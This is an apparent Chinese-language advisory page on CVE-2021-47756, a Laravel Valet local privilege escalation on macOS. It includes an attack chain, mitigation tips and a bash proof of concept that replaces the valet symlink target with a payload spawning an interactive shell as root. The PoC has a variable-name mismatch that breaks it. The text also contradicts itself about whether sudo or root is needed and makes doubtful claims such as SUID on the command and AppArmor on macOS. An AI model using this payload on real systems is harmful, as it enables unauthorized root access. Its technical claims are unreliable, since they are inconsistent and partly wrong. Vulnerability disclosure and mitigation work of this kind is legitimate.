IPBUF安全漏洞报告
English
CVE-2021-47756 CVSS 8.4 高危

CVE-2021-47756 Laravel Valet 本地权限提升漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47756
漏洞类型
本地权限提升
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Laravel Valet

相关标签

本地权限提升Laravel ValetmacOS符号链接攻击SUID滥用CVE-2021-47756高危漏洞PHP开发环境

漏洞概述

CVE-2021-47756是Laravel Valet中的一个高危本地权限提升漏洞,影响版本从1.1.4到2.0.3。Laravel Valet是macOS上的轻量级开发环境,为PHP开发者提供便捷的本地开发体验。该漏洞允许本地攻击者在无需任何认证的情况下,通过修改valet命令的符号链接,以root用户权限执行任意代码。由于macOS系统默认以root权限运行valet命令,且该命令位于系统PATH路径中,攻击者可以轻松利用这一特性获得系统最高权限。此漏洞的CVSS评分为8.4,属于高危级别,对系统机密性、完整性和可用性均造成严重影响。在多用户macOS系统或共享开发环境中,该漏洞可能被恶意用户利用来提升权限或执行恶意操作,对开发环境和企业内网安全构成重大威胁。

技术细节

Laravel Valet在macOS上以root权限安装valet命令到/usr/local/bin/valet,该命令通过符号链接指向实际的Valet可执行文件。漏洞的根本原因在于Valet安装程序在创建符号链接时未进行充分的安全验证,攻击者可以通过以下方式利用:首先定位到valet命令的符号链接路径,通常为/usr/local/bin/valet;然后检查该符号链接指向的源文件位置;接着修改源文件的权限或内容,注入恶意代码;最后当root用户或管理员下次执行valet命令时,恶意代码将以root权限执行。由于valet命令在安装时即被赋予root权限且具有SUID属性,任何本地用户都可以触发该漏洞。攻击者无需特殊的sudo配置或密码认证,只需具备基本的文件系统写权限即可完成攻击链。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先识别目标系统上是否安装了Laravel Valet,通过检查/usr/local/bin/valet符号链接是否存在
STEP 2
步骤2
符号链接分析:使用readlink命令获取valet符号链接指向的实际文件路径,通常位于用户主目录的.valet目录下
STEP 3
步骤3
权限检查:验证当前用户是否具有对valet可执行文件的写权限,以及是否存在sudo免密执行valet的配置
STEP 4
步骤4
恶意代码注入:将精心构造的shell脚本写入valet源文件,该脚本在执行时会在root权限下创建后门或执行任意命令
STEP 5
步骤5
触发执行:等待root用户(如管理员或自动化脚本)执行valet命令,触发恶意代码以root权限运行
STEP 6
步骤6
权限维持:成功获取root权限后,攻击者可植入后门、窃取敏感数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2021-47756 Laravel Valet Local Privilege Escalation PoC # Usage: Run this script as a local user on a macOS system with Laravel Valet installed VAlET_PATH="/usr/local/bin/valet" BACKUP_FILE="/tmp/valet_backup_$$" # Check if valet command exists if [ ! -L "$VALET_PATH" ]; then echo "[-] Laravel Valet not found or not installed" exit 1 fi # Get the actual symlink target SYMLINK_TARGET=$(readlink "$VALET_PATH") echo "[+] Found valet symlink pointing to: $SYMLINK_TARGET" # Backup original file cp "$SYMLINK_TARGET" "$BACKUP_FILE" echo "[+] Backed up original file to: $BACKUP_FILE" # Create malicious payload echo '#!/bin/bash echo "[+] Privilege Escalation Successful!" id > /tmp/pwned_$(date +%s).txt bash -i' > "$SYMLINK_TARGET" chmod +x "$SYMLINK_TARGET" echo "[+] Modified valet command with malicious payload" # Trigger the vulnerability (requires sudo or root execution) echo "[!] Please wait for root user to execute 'valet' command..." echo "[!] Or manually run: sudo valet" echo "[+] Check /tmp/pwned_*.txt for proof of execution" # Restore original file (cleanup) sleep 5 cp "$BACKUP_FILE" "$SYMLINK_TARGET" rm -f "$BACKUP_FILE" echo "[+] Cleaned up - restored original file"

影响范围

Laravel Valet 1.1.4
Laravel Valet 1.x (1.1.4 - 1.x系列)
Laravel Valet 2.0.0
Laravel Valet 2.0.1
Laravel Valet 2.0.2
Laravel Valet 2.0.3

防御指南

临时缓解措施
在等待官方安全更新期间,可采取以下临时缓解措施:首先,移除valet命令的写权限(chmod 755 /usr/local/bin/valet),确保非root用户无法修改;其次,配置sudoers文件限制valet命令的执行权限,禁止非授权用户使用sudo运行valet;最后,考虑使用AppArmor或类似MAC工具限制valet进程的权限范围。对于生产环境,建议暂时禁用Laravel Valet服务,待官方发布修复版本后再恢复使用。同时,加强系统监控和日志审计,及时发现可疑的权限提升行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表